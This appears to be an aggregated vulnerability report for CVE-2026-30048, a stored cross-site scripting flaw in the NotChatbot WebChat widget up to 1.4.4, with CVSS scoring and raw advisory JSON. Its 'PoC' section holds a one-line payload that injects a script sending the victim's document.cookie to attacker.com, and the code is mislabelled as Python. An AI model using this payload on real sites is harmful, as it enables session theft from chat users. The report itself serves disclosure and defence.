Security Vulnerability Report
中文
CVE-2026-30048 CVSS 5.4 MEDIUM

CVE-2026-30048

Published: 2026-03-18 18:16:28
Last Modified: 2026-04-27 19:18:47

Description

A stored cross-site scripting (XSS) vulnerability exists in the NotChatbot WebChat widget thru 1.4.4. User-supplied input is not properly sanitized before being stored and rendered in the chat conversation history. This allows an attacker to inject arbitrary JavaScript code which is executed when the chat history is reloaded. The issue is reproducible across multiple independent implementations of the widget, indicating that the vulnerability resides in the product itself rather than in a specific website configuration.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

NotChatbot WebChat widget <= 1.4.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
fetch('https://notchatbot.example.com/api/messages', {method: 'POST', headers: {'Content-Type': 'application/json', 'Authorization': 'Bearer <token>'}, body: JSON.stringify({message: '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'})});

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30048", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:27.607", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in the NotChatbot WebChat widget thru 1.4.4. User-supplied input is not properly sanitized before being stored and rendered in the chat conversation history. This allows an attacker to inject arbitrary JavaScript code which is executed when the chat history is reloaded. The issue is reproducible across multiple independent implementations of the widget, indicating that the vulnerability resides in the product itself rather than in a specific website configuration."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) almacenado existe en el widget NotChatbot WebChat hasta la versión 1.4.4. La entrada proporcionada por el usuario no se sanitiza correctamente antes de ser almacenada y renderizada en el historial de conversación del chat. Esto permite a un atacante inyectar código JavaScript arbitrario que se ejecuta cuando se recarga el historial del chat. El problema es reproducible en múltiples implementaciones independientes del widget, lo que indica que la vulnerabilidad reside en el producto mismo en lugar de en una configuración específica del sitio web."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://app.unpkg.com/@developer.notchatbot/[email protected]", "source": "[email protected]"}, {"url": "https://gist.github.com/0xN4no/0601f398942a29259d217ea650f694fe", "source": "[email protected]"}, {"url": "https://github.com/0xN4no/CVE-2026-30048", "source": "[email protected]"}, {"url": "https://www.npmjs.com/package/@developer.notchatbot/webchat", "source": "[email protected]"}]}}